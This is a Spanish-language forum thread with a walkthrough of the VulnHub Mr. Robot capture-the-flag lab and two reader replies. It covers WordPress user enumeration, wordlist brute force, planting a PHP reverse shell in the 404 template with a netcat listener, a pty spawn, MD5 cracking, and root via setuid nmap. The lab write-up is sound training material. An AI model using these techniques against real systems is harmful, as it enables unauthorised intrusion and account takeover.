Completando CTF Mr. Robot

Started by Stuxnet, August 30, 2016, 02:23:38 AM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.


Hola, hace tiempos sin postear nada y vi que cnfs realizo write-up de un ctf, haré lo mismo un pequeño reto que me colocaron en la empresa sin poder utilizar metasploit :c ok, el cual me saco las canas verdes un rato.

Mr. Robot CTF: https://www.vulnhub.com/entry/mr-robot-1,151/

  • Comenzando, hice un simple escaneo a la dirección 192.168.1.101 donde lo tengo montado.



    Como vemos el puerto 80 y el 443 están abiertos y el 22 cerrado.

    Entramos a la direccion de la maquina victima, y nos mostrava esto :c sin links así que 0 vul que testear xD :c



    Lo siguiente que realize fué buscar arhivos en el servidor para esto utilize la herramienta dirb, después de un rato de espera tenemos resultado

    Genial un wordpress :3



  • y los robots.txt



    Primero le veremos los robots.txt



    Genial, tenemos la 1 key de 3 :3 aparte de esto hay un diccionario que nos servira mucho :3

    Como ya se que es un wordpress utilizare la herramienta CMSmap :3 para ver si tiene algun fallo ha explotar



    No fué mucho lo que obtuve :c solo esta parte intersante el cual nos permitia enumerar usuarios a través de un forgotten password.

  • Enumerando Usuarios.

    Para esto vamos a usar el diccionario que encontramos en robots.txt haciendo un poco de fuzzing con zap

    Zed Attack Proxy (ZAP) es una herramienta proveniente del Proyecto OWASP para realizar tests de penetración en aplicaciones web.
    Zap ya esta incluida por defecto en Kali Linux asi que solo basta con ejectutar en consola zaproxy en consola. Ahora configuramos nuestro proxy nuestro navegador.

    Nuestro ataque será dirigido hacía la ruta 192.168.1.101/wp-login
    Login: Devel
    Password: develsecurity



    Nos devuelve la siguiente respuesta en el zaproxy, seleccionamos la respuesta que sería devel, click derecho y seleccionamos la opción de fuzz.
    Para realizar la opción de fuzz utilizare un diccionario de robots.txt.



    Seleccionamos Añadir, y luego Start Fuzzer

    Al revisar la respuesta claramente nos dice que el usuario es invalido.



    Como vemos nos marca con un Reflected, y revisando la respuesta nos damos cuenta que nos dice contraseña invalida para el usuario Elliot. Hemos encontrado nuestro usuario.



  • Ataque de Fuerza Bruta.

    Siempre utilizando el diccionario y cmsmap haré un ataque de fuerza bruta, solo que ahora para ahorra tiempo lo acortaremos un poco con la herramienta sort de la siguiente manera. (Gracias a cierto miembro de la empresa por el tip)

    cat fsocity.dic | wc -l
    sort -u fsocity.dic | wc -l
    sort -u fsocity.dic > fsocity.small.dic

    Ahora utilizamos CMSmap.



    -u = El nombre de usario en nuestro caso sería Elliot
    -p = passwords, el path de nuestro wordlist.
    Listo luego de un tiempo CMSmap completa su trabajo.

    Ahora utilizando las credenciales obtenidas:




    Listo estamos dentro, :3 ahora solo falta tener un shell inversa en el host :c jaja como regla era no usar metasploit así que me recorde que anteriores ctf un amigo me recomendo shells de http://pentestmonkey.net/tools/web-shells/php-reverse-shell

    Así que descargamos y configuramos

    $ip = '127.0.0.1';  // CHANGE THIS (IP Atacante en nuestro caso 192.168.1.100)
    $port = 1234;       // CHANGE THIS

    y en consola pondremos a la escucha netcat: nc -v -n -l -p 1234

    Ahora vamos a editar la página de error 404 copiando el codigo de nuestra shell :3



    Ahora ingresamos a la direccion de nuestra shell http://192.168.1.101/404.php



    Listo :3 estamos dentro ahora solo nos movemos para el /home/robot



    :C bueno aqui fué la parte donde me salieron canas verdes, necesitava una terminal :c contacte con quien me recomendo la php shell y me dijo que en la misma página se encontraba esto: http://pentestmonkey.net/blog/post-exploitation-without-a-tty , asi que para llamar a la terminal utilizare python -c 'import pty; pty.spawn("/bin/sh")'



    :3 listo tenemos nuestra terminal :3 pero el problema sigue, la key 2 pertenese al usuario robot y nosotros estamos como daemon, pero hay otro archivo intresante el password.raw-md5



    robot:c3fcd3d76192e4007dfb496cca67e13b

    Usuario y contraseña como vemos es un md5 y si lo colocamos en google :3 abcdefghijklmnopqrstuvwxyz , ahora ejecutamos su robot



    Ahora si podemos hacer un cat de la segunda key :3



    solo una mas y pwned, para lo siguiente un par de cervezas y cigarros xD, el ultimo flag no lo pude resolver, no encontre como elevar privilegios :c. Les dare la solución que hizo un miembro de la empreza, primero ejecuta nmap, al ver que este estava instalado uso la opción --interactive y luego ejecuto !sh,

    Esta opción nos permite ejecutar una terminal como root y bum key 3 :3



    Agradecimiento al team DevelSecurity.


Buen tuto! yo lo tengo también resuelto en mi blog, pero creo que me enrollo demasiado escribiendo xD.
Un saludo.
Desencriptando la vida.

me quedaron unas dudas

nmap estaba con setuid, no? como se dieron cuenta?
ademas es una version muy vieja. La mia no tiene --interactive. Sigue existiendo con otro nombre?